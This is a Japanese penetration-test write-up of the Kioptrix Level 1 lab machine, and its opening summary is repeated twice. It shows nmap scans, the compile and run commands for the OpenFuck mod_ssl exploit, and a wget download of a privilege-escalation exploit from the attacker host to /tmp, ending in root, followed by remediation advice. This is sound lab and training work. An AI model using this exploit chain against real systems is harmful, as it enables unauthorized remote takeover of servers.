
設定ミスや古いソフトウェアを特定して悪用することで、ルートレベルのアクセスを獲得しました。古いバージョンのmod_sslにおけるバッファオーバーフローの脆弱性(CVE-2002-0082)。その後、Linuxカーネルの"ptrace"ユーティリティにおける競合状態を悪用して権限昇格を達成しました(CVE-2003-0127),
設定ミスや古いソフトウェアを特定・悪用し、ルートレベルのアクセスを確保しました。古いバージョンのmod_sslに存在するバッファオーバーフローの脆弱性(CVE-2002-0082)を利用。その後、Linuxカーネルの「ptrace」ユーティリティの競合状態を悪用して特権昇格を達成しました(CVE-2003-0127)。
フェーズ1:偵察と列挙 最初のステップは、192.168.56.0/24サブネット上のターゲットIPアドレスを特定することでした。
ホスト発見:
sudo nmap -sn 192.168.56.0/24
結果:ターゲットは192.168.56.105に特定されました。
ポートスキャンとサービス列挙: 包括的なNmapスキャンを実行し、開放ポート、実行中のサービス、OSの詳細を特定しました。
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
主な発見:
Apacheとmod_sslの古いバージョンは、初期アクセスのための可能性の高いベクトルとしてすぐに浮かび上がりました。
フェーズ2:初期アクセス(悪用)
searchsploit による Exploit Database の確認で、mod_ssl 2.8.4 が有名なリモートバッファオーバーフローに対して脆弱であることが確認されました。
searchsploit mod_ssl 2.8
この脆弱性に対して最も信頼性の高いペイロードとして、OpenFuckV2.c エクスプロイト(EDB-ID: 47080)を特定しました。エクスプロイトをローカルホストにミラーリングし、必要な暗号化ライブラリを使用してコンパイルしました。
エクスプロイトのコンパイル:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
コンパイルされたバイナリを引数なしで実行すると、サポートされているオフセットのリストが表示されました。ターゲットの特定のOSとApacheバージョン(Red-Hat Linux、Apache 1.3.20)にオフセットを合わせて、正しいオフセットが0x6bであると判断しました。
実行:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
エクスプロイトはバッファオーバーフローを引き起こすことに成功し、apacheユーザーとしての低権限シェルを獲得しました。
bash-2.05$ whoami apache
フェーズ3:特権昇格
方法論に関する注意:OpenFuck エクスプロイトは、wget を使用してリモートサーバーから二次的な特権昇格ペイロード(ptrace-kmod.c)を自動的にダウンロードしようとします。しかし、ターゲット環境にはアウトバウンドのインターネットアクセスがなかったため、この自動化ステップは失敗しました(解決結果:Host not found)。そのため、手動での列挙と悪用に切り替えました。
システム列挙:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
システムは非常に脆弱なカーネルバージョン2.4.7-10を実行していました。この特定のLinuxカーネルを標的としたエクスプロイトを検索したところ、ptrace/kmodを利用したローカル特権昇格の脆弱性が見つかりました。
ペイロードのステージング: ローカルでエクスプロイト(EDB-ID: 3)を特定し、攻撃マシン上でPython HTTPサーバーを立ち上げて転送を容易にしました。
攻撃者ホスト:
searchsploit -m 3 python3 -m http.server 8000
ターゲットマシン:
cd /tmp wget http://192.168.56.1:8000/3.c
3.c のソースコードがターゲットの /tmp ディレクトリに正常に転送されたので、それをターゲットマシン上でネイティブにコンパイルし実行しました。
実行とroot権限の取得:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ptraceの競合状態が正常に悪用され、apacheデーモンからrootへの特権昇格が達成されました。システム全体が侵害されました。
フェーズ4:是正措置 悪用された脆弱性に対してこのシステムを保護するには:
Webサービスの更新:Apacheサーバーは、認証なしでリモートコード実行を可能にするCVE-2002-0082のバッファオーバーフロー脆弱性を修正するために、最新の安定版リリースに更新する必要があります。
カーネルのパッチ適用:Linuxカーネル(2.4.7-10)は、ptrace(kmod)競合状態を含む複数のローカル特権昇格エクスプロイトに対して脆弱です。オペレーティングシステムのカーネルは、最新のサポートされているバージョンにアップグレードする必要があります。
ネットワークセグメンテーションと出力フィルタリング:サーバーは、不必要なアウトバウンドトラフィックを制限するファイアウォールの背後に配置する必要があります。このオフラインラボでは自動wgetは失敗しましたが、出力フィルタリングにより、実際の環境で侵害されたWebアプリケーションがインターネットから二次的な悪意のあるペイロードを引き出すのを防ぐことができます。